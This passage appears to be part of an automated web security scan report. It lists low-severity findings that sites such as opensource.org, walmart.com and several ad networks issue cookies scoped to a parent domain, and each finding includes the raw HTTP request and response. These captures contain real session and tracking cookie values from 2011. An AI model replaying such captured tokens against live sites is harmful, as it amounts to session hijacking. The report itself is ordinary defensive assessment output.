14.30. http://www.opensource.org/licenses previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.opensource.org
Path:	/licenses

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=qp04j6ahncp7397qflcna4ur70; expires=Tue, 01-Mar-2011 19:43:40 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:20 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=qp04j6ahncp7397qflcna4ur70; expires=Tue, 01-Mar-2011 19:43:40 GMT; path=/; domain=.opensource.org
Last-Modified: Sun, 06 Feb 2011 16:10:14 GMT
ETag: "1585233f3b806a356d937e067cfe9e8e"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Content-Length: 7352
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...

14.31. http://www.opensource.org/licenses/gpl-license.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.opensource.org
Path:	/licenses/gpl-license.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=7ouqru0o8m70kapcbbqj8iufr0; expires=Tue, 01-Mar-2011 01:40:37 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses/gpl-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:17 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=7ouqru0o8m70kapcbbqj8iufr0; expires=Tue, 01-Mar-2011 01:40:37 GMT; path=/; domain=.opensource.org
Last-Modified: Sat, 05 Feb 2011 22:04:16 GMT
ETag: "d19afb86dfda42ffb7e072c27d2a7d17"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Content-Length: 7271
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...

14.32. http://www.opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.opensource.org
Path:	/licenses/mit-license.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=raeopqqi3qp3gbo1qqsrhelq96; expires=Tue, 01-Mar-2011 01:40:36 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses/mit-license.php HTTP/1.1
Host: www.opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:16 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=raeopqqi3qp3gbo1qqsrhelq96; expires=Tue, 01-Mar-2011 01:40:36 GMT; path=/; domain=.opensource.org
Last-Modified: Sat, 05 Feb 2011 22:01:27 GMT
ETag: "7b81a6dd7059bf07cf1c4b65204ca20f"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...

14.33. http://www.pdfforge.org/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pdfforge.org
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESSc75490b6e05df4b955c54eec3097373b=o8ot6jt3lo29pi8jckb7f0fjc2; expires=Tue, 01-Mar-2011 01:42:37 GMT; path=/; domain=.pdfforge.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.pdfforge.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.34. http://www.pusha.se/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.pusha.se
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=a30db15870b299b7745ce9d189a9a26c; path=/; domain=.pusha.se

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.pusha.se
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.35. http://www.stumbleupon.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.stumbleupon.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=24u7r3p6go09ucekfd3a17uu33; path=/; domain=.stumbleupon.com; HttpOnly
cmf_i=7304903984d4ec93bb9fe79.92359436; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
cmf_spr=A%2FN; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
cmf_sp=http%3A%2F%2Fwww.stumbleupon.com%2F; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
su_c=508ff6044dad7175f31b3193dab47199%7C%7C10%7C%7C1297008955%7C5be234e7f257e317b71d9cccfe3c3c84; expires=Wed, 03-Feb-2021 16:15:55 GMT; path=/; domain=.stumbleupon.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.stumbleupon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.36. http://www.sulit.com.ph/index.php/view previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.sulit.com.ph
Path:	/index.php/view

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SESSION_ID=irtoo98lni0bfkq9vmg49fn8t3; path=/; domain=.sulit.com.ph

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.php/view HTTP/1.1
Host: www.sulit.com.ph
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 05 Feb 2011 22:19:49 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: SESSION_ID=irtoo98lni0bfkq9vmg49fn8t3; path=/; domain=.sulit.com.ph
Location: http://www.sulit.com.ph/index.php/page+not+found
Content-Length: 0

14.37. http://www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.walmart.com
Path:	/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

WMSessionID=00000005d842416d3fe7c1efb135e29c3feb265b85e294b6_1297008973632_SSL205_10-15-97-59_1297008973632_11.1_N_; Domain=.walmart.com; Path=/
com.wm.visitor=13058082758; Domain=.walmart.com; Expires=Wed, 03-Feb-2021 16:16:13 GMT; Path=/
spcf.backup="|com.wm.visitor:13058082758|"; Version=1; Domain=.walmart.com; Path=/
com.wm.anoncart=130580827581722806; Domain=.walmart.com; Expires=Wed, 03-Feb-2021 16:16:13 GMT; Path=/
spcf.backup="|com.wm.anoncart:130580827581722806|:|com.wm.visitor:13058082758|"; Version=1; Domain=.walmart.com; Path=/
cef.env=PROD+B++H++D++Y+%3Fcat%3D3891+C+; Domain=.walmart.com; Path=/
com.wm.reflector="reflectorid:0000000000000000000000@lastupd:1297008973634@firstcreate:1297008973634"; Version=1; Domain=.walmart.com; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.walmart.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: max-age=0
Last-Modified: Sun, 06 Feb 2011 16:16:13 GMT
Expires: Sun, 06 Feb 2011 16:16:13 GMT
Content-Type: text/html;charset=ISO-8859-1
Date: Sun, 06 Feb 2011 16:16:13 GMT
Content-Length: 12097
Connection: close
Set-Cookie: cef.env=PROD; Domain=.walmart.com; Path=/
Set-Cookie: com.wm.visitor=13058082758; Domain=.walmart.com; Expires=Wed, 03-Feb-2021 16:16:13 GMT; Path=/
Set-Cookie: spcf.backup="|com.wm.visitor:13058082758|"; Version=1; Domain=.walmart.com; Path=/
Set-Cookie: com.wm.anoncart=130580827581722806; Domain=.walmart.com; Expires=Wed, 03-Feb-2021 16:16:13 GMT; Path=/
Set-Cookie: spcf.backup="|com.wm.anoncart:130580827581722806|:|com.wm.visitor:13058082758|"; Version=1; Domain=.walmart.com; Path=/
Set-Cookie: WMSessionID=00000005d842416d3fe7c1efb135e29c3feb265b85e294b6_1297008973632_SSL205_10-15-97-59_1297008973632_11.1_N_; Domain=.walmart.com; Path=/
Set-Cookie: cef.env=PROD+B++H++D++Y+%3Fcat%3D3891+C+; Domain=.walmart.com; Path=/
Set-Cookie: com.wm.reflector="reflectorid:0000000000000000000000@lastupd:1297008973634@firstcreate:1297008973634"; Version=1; Domain=.walmart.com; Path=/
Set-Cookie: NSC_xxx.xbmnbsu.dpn-mc=ffffffff090726a445525d5f4f58455e445a4a423660;path=/
Set-Cookie: SSLB=0; path=/; domain=.walmart.com

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<head>
<title> - Walmart</title>
<link href="http://i2.walmartimages.com/css/global.css" rel="stylesheet" typ
...[SNIP]...

14.38. http://www.webnews.de/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.webnews.de
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

WNSESSIONID=d2hn0mot5q2nbudqjtsfao1356; path=/; domain=.webnews.de
WNSESSIONID=acjedtg6k0l1kdsu2mde43md11; path=/; domain=.webnews.de

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.webnews.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:16 GMT
Server: Apache
Set-Cookie: WNSESSIONID=d2hn0mot5q2nbudqjtsfao1356; path=/; domain=.webnews.de
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: WNSESSIONID=acjedtg6k0l1kdsu2mde43md11; path=/; domain=.webnews.de
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 42269

<!DOCTYPE html><html lang="de" xmlns:fb="http://www.facebook.com/2008/fbml">
<head> <title>Nachrichten, Lokale News - Webnews</title> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"
...[SNIP]...

14.39. http://a.rfihub.com/ca.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.rfihub.com
Path:	/ca.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

m="aACjOGo3g==AI20472701AAABLffNWaU=AI20472701AAABLevCTs8=";Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT
f="aAC5a_jbQ==AK1296942586AB1AAABLffNWaQ=AK1296740536AB1AAABLevCTs4=";Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ca.gif?rb=233&ca=20472701&ct=728106282%20height=0%20width=0%20style= HTTP/1.1
Host: a.rfihub.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: m="aABseW9eg==AI20472701AAABLevCTs8="; f="aABZd22cg==AK1296740536AB1AAABLevCTs4="; a1=1CAESEDwKxKPrWufjyLofYqzf4_4; t=1296740537347; e=cd; a=c369013694478760033; o=1-BjMxrfcI6jt9; r=1296740536014

Response

HTTP/1.1 302 Found
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: m="aACjOGo3g==AI20472701AAABLffNWaU=AI20472701AAABLevCTs8=";Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT
Set-Cookie: f="aAC5a_jbQ==AK1296942586AB1AAABLffNWaQ=AK1296740536AB1AAABLevCTs4=";Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT
Set-Cookie: e=cd;Path=/;Domain=.rfihub.com;Expires=Mon, 06-Aug-12 21:49:46 GMT
Cache-Control: no-cache
Location: http://ib.adnxs.com/seg?add=56500&redir=http%3A%2F%2Fad.yieldmanager.com%2Fpixel%3Fid%3D966993%26t%3D2%26piggyback%3Dhttp%253A%252F%252Fwww.googleadservices.com%252Fpagead%252Fconversion%252F1030878771%252F%253Flabel%253DwJh2CPel9gEQs-zH6wM%2526amp%253Bguid%253DON%2526amp%253Bscript%253D0
Content-Length: 0

14.40. http://a.tribalfusion.com/i.cid previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/i.cid

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ANON_ID=a7ni39wyEiBVEbVB78ifJS5BUYX9esIxrnXT01OJqGZdZdJkRFveLwXfmdkxEtSJ0xvEP9nQZaD2QayAitihhLVPtBSZbELQt6iQ3sP4COlOPsT9sqFU4P0r25WMyZd0HGq7kKNUgtaoIvyKZbRYZcqTHbWhZbZcRXiSy7V7Qr4gjrxxPDrZaZbZaiELZaNYRoKNO3JUMgLdNPIZclajshvAC1CdJSWmfQ3g414ie3Hq9SIVCwW4v4ZaPdfdfewqAEcjUg1BqhyyQ3g9CPKOZaahoPlCLH0x73VDUcaPhXTBv92MHFZbuhceQA0CBy1lXwUW9sqcxs1TuSIrxEIDYMuiR5GUFZcPdZbTUf2hMxdJ35ZbpoStM2aFYyZcie6jZbbwLBmwbXgrMPnOeRpi9EFeXlbUJ0TS6PjPTRfql9M5B4FVQwtZd60FDp6JIEd6nmSrZdlmH1aqjoDDGEHCj25KgLaiFGA8u3FbBbuSH9kpBroVL68C2GNd7pJ1u2YR; path=/; domain=.tribalfusion.com; expires=Fri, 06-May-2011 21:49:44 GMT;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /i.cid?c=333063&d=30&page=landingPage HTTP/1.1
Host: a.tribalfusion.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ANON_ID=arngjUNZai9A8b6vGqfDNi6rJ1IOrwG1iRfb2mun6UWAcfaZaM71VvOPKvNWAPmPZbMhDIZagUZcZcZdPiDFoZbRXgORrSVcupCRtGZcb2O5dVNPgBgKgCWi9KYAIaErmMnc2YBh9d5ihJseWviuvM0msClZcLSafio3eePFSgZcrofvZdGZcHHY27INY2qQvgOwWk7yqlLnc5J8LvggklYNxxOl7xVwF2ZdCZcHfkIZcTPAGv9LW7cuti18ri2G5nmglac3HHOZcBjfcvaUYbKOYGgRcpLWa5or6KOP9GIVZcEb69ZdZaZaKck6r7q8Zc424boVpx39LS8GTPY086n39wF7XS6BqCG43UqZcBvuiEjBBZaZbpmCZcIA404LZadCp79y6sNyLtllvmxwrJ7ZdvKyn3G0uRMswjtmF2pGQr4eTvVNTWZcAMncJfaLWO6jMPphRt0wQLgSaCbjZc4XaEZcl6WDUXVtosBTptyXFjtZcuPA

Response

HTTP/1.1 200 OK
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 307
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: ANON_ID=a7ni39wyEiBVEbVB78ifJS5BUYX9esIxrnXT01OJqGZdZdJkRFveLwXfmdkxEtSJ0xvEP9nQZaD2QayAitihhLVPtBSZbELQt6iQ3sP4COlOPsT9sqFU4P0r25WMyZd0HGq7kKNUgtaoIvyKZbRYZcqTHbWhZbZcRXiSy7V7Qr4gjrxxPDrZaZbZaiELZaNYRoKNO3JUMgLdNPIZclajshvAC1CdJSWmfQ3g414ie3Hq9SIVCwW4v4ZaPdfdfewqAEcjUg1BqhyyQ3g9CPKOZaahoPlCLH0x73VDUcaPhXTBv92MHFZbuhceQA0CBy1lXwUW9sqcxs1TuSIrxEIDYMuiR5GUFZcPdZbTUf2hMxdJ35ZbpoStM2aFYyZcie6jZbbwLBmwbXgrMPnOeRpi9EFeXlbUJ0TS6PjPTRfql9M5B4FVQwtZd60FDp6JIEd6nmSrZdlmH1aqjoDDGEHCj25KgLaiFGA8u3FbBbuSH9kpBroVL68C2GNd7pJ1u2YR; path=/; domain=.tribalfusion.com; expires=Fri, 06-May-2011 21:49:44 GMT;
Content-Type: image/gif
Content-Length: 43
Connection: keep-alive

GIF89a.............!.......,........@..D..;

14.41. http://a.tribalfusion.com/j.ad previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/j.ad

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ANON_ID=aOnoeUSyZaRWoT8vtRLdrBvyRpryGujoUyemwF9dt; path=/; domain=.tribalfusion.com; expires=Fri, 06-May-2011 22:36:11 GMT;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /j.ad?site=FreeDownloadsCenter&adSpace=ROS&size=728x90&type=var&requestID=20116757700.8481966803596266 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: a.tribalfusion.com

Response

HTTP/1.1 302 Moved Temporarily
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 206
X-Reuse-Index: 1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: private
Set-Cookie: ANON_ID=aOnoeUSyZaRWoT8vtRLdrBvyRpryGujoUyemwF9dt; path=/; domain=.tribalfusion.com; expires=Fri, 06-May-2011 22:36:11 GMT;
Content-Type: text/html
Location: /z/j.ad?site=FreeDownloadsCenter&adSpace=ROS&size=728x90&type=var&requestID=20116757700.8481966803596266
Content-Length: 36
Connection: keep-alive

<h1>Error 302 Moved Temporarily</h1>

14.42. http://action.media6degrees.com/orbserv/hbpix previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://action.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
clid=2lebnns011706ch47d7o8wtv1ubnn00z10020607206; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
orblb=2lfk1rn0225810u020lxjs0hlmv2dh10u0100000; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
rdrlst=4140o2ylebnns0000000z100207dpletz4d0000000v100210e5lg1nei0000000510020mmnlebnns0000000z100210rdlg1vir0000000410020x1blebnns0000000z10020xo1lebnns0000000z10020eh5lf17qf0000000r100206bylemlne0000000x10020w3clebnns0000000z100207gmlebnns0000000z10020jv6lebnns0000000z10020j4ilew2e20000000t10020xthlebnns0000000z10020fullf8gij0000000n100210f6lg1nei0000000510021196lfzx0l00000006100200c9lfk1rn0000000k10020jillebnns0000000z10021194lg3y5y0000000310020fuqlegh2b0000000y10020b6mlf17qk0000000q10020mz1lebnns0000000z10020cajlfk1rn0000000k10020p7vlebnns0000000z100207vglfk1rn0000000k10020xvslebnns0000000z10021192lg5l2h00000002100210ellg1nei0000000510020xuklebnns0000000z10020jk7lebnns0000000z10020x1jlebnns0000000z10020yiplebnns0000000z10020cbnlfk1rn0000000k10020xwflebnns0000000z10020yh0lebnns0000000z10020e4vlebnns0000000z100210e9lg1nei0000000510020xwblebnns0000000z10020jwblfk1rn0000000k1002; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/
sglst=2140s8dtletz4d0pqa500a0l00040010061gletz4d0pqa500a0l000400100a70lebnns181qq00e0l0004001005b0lf17qo0000000p1002060720682gletz4d0pqa500a0l000400100ag2leqh191fia600w1002060720682hlebnns1o9ct00z100206072069zdlebnns181qq00e0l0004001005q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0g7m300l10020607206820lebnns181qq00e0l000400100b0olfjpei0g7m300l10020607206ab4lebnns1o9ct00z100206072069szlebnns1o9ct00z100206072068wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1pi9400y10020607206al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l000400100b0clfjpei0g7m300l100206072068bgletz4d0pqa500a0l0004001007y2lebnns181qq00e0l0004001005q8lebnns1o9ct00k10020606206b08lfjpei0g7m300l1002060720640slebnns181qq00e0l0004001003s4letz4d0pqa500a0l000400100ah4lebnns181qq00e0l000400100a97lebnns181qq00e0l00040010045mlfdxmc0000000m1002060720640uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; Domain=media6degrees.com; Expires=Thu, 04-Aug-2011 21:50:03 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /orbserv/hbpix?pixId=3013 HTTP/1.1
Host: action.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lfzx0l0zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=015020a0e0f0g1lebnnsxzt11o9ctxzt11txepxzt11txepxzt11o9ct; adh=1lf17qo160226030103i01pznOhAUUE00cpvo3fus0122d01zfQfEf5HA000000; clid=2lebnns011706ch47d7o8wtv1txep00y10010606205; orblb=2lfk1rn0225810u010hlmv2dh10u0100000; rdrlst=41407dpletz4d0000000u10010o2ylebnns0000000y10010mmnlebnns0000000y100110e5lg1nei00000004100110rdlg1vir0000000310010xo1lebnns0000000y10010x1blebnns0000000y10010eh5lf17qf0000000q100106bylemlne0000000w10010w3clebnns0000000y100107gmlebnns0000000y10010jv6lebnns0000000y10010j4ilew2e20000000s10010xthlebnns0000000y10010fullf8gij0000000m100110f6lg1nei0000000410011196lfzx0l00000005100100c9lfk1rn0000000j10010jillebnns0000000y10011194lg3y5y0000000210010fuqlegh2b0000000x10010b6mlf17qk0000000p10010mz1lebnns0000000y10010cajlfk1rn0000000j10010p7vlebnns0000000y100107vglfk1rn0000000j10011192lg5l2h0000000110010xvslebnns0000000y100110ellg1nei0000000410010xuklebnns0000000y10010x1jlebnns0000000y10010jk7lebnns0000000y10010cbnlfk1rn0000000j10010yiplebnns0000000y10010yh0lebnns0000000y10010xwflebnns0000000y10010e4vlebnns0000000y100110e9lg1nei0000000410010jwblfk1rn0000000j10010xwblebnns0000000y1001; sglst=2140s8dtletz4d0pqa500a0l000400100a70lebnns181qq00e0l00040010061gletz4d0pqa500a0l0004001005b0lf17qo0000000o10010606205ag2leqh191f41800v1001060620582gletz4d0pqa500a0l0004001009zdlebnns181qq00e0l00040010082hlebnns1o9ct00y100106062055q7letz4d0pqa500a0l000400100a6slebnns181qq00e0l000400100achlebnns181qq00e0l0004001007x9lebnns181qq00e0l000400100b1alfjpei0g7m300k10010606205820lebnns181qq00e0l000400100b0olfjpei0g7m300k10010606205ab4lebnns1o9ct00y100106062059szlebnns1o9ct00y100106062058wklebnns181qq00e0l000400100923lebnns181qq00e0l000400100ahllebnns181qq00e0l0004001000tllegh2b1p40600x10010606205al1letz4d0pqa500a0l0004001008lllebnns181qq00e0l000400100abulebnns181qq00e0l0004001005q8lebnns1o9ct00j100106052057y2lebnns181qq00e0l0004001008bgletz4d0pqa500a0l000400100b0clfjpei0g7m300k10010606205b08lfjpei0g7m300k1001060620540slebnns181qq00e0l00040010045mlfdxmc0000000l10010606205a97lebnns181qq00e0l000400100ah4lebnns181qq00e0l0004001003s4letz4d0pqa500a0l00040010040uletz4d0pqa500a0l000400100acdlebnns181qq00e0l000400100aanlebnns181qq00e0l0004001009atlebnns181qq00e0l00040010086zlebnns181qq00e0l000400100ac3letz4d0pqa500a0l000400100; vstcnt=3lebnns031l034e206123s181qq1845a1847x1845b1847u1847e1847k1847y1843w1844k184621845j1844p184551843s1847h1846q1844z184871846u184571843u18486184741846t1846l1845r1842z185k81848f1844n1844d184781846a1845v1846j1846k184801845s1843g1847a1843d184841846r1845y1844l1847i1847r1847p184541843r1845i1844y1844r1842x184811846o1844u1844s1847b1843k1843n1848a1845q1845n1845c1842t1844j1845e1845g184821846p184301847f1844c1847t1843c1843j1848b1847z1842u1843p184851846s1845f1845h18435184371846b1843o1845m1847s1848g1844g184561843t1847c1847g1843f1844a1847v1843m1844m184721845p1848e1844q1848c1843h1842y1847d1848d1844t1845x1847q1845k184711845o1846i1844f184791845w1845d184581844h1843v1847o18434184691845t184531844w1844e184881846v1844v4fhux122u000000axzm000000d1t30d1rq0d1qh0d1te000000d1ss0d1px0d1s00d1t20d1sn0d1rp0d1rb0d1t40d1rr0d1s70d1qu0d1q60d1ps0d1r70d1pu0d1rf0d1r10d1r40d1qx0d1ql0d1pr0d1r60d1sm0d1r90d1pw0d1qw0d1qc0d1sr0d1qz0d1sq0d1se0d1rm0d1qj0d1rg0d1t90d1rw0d1pl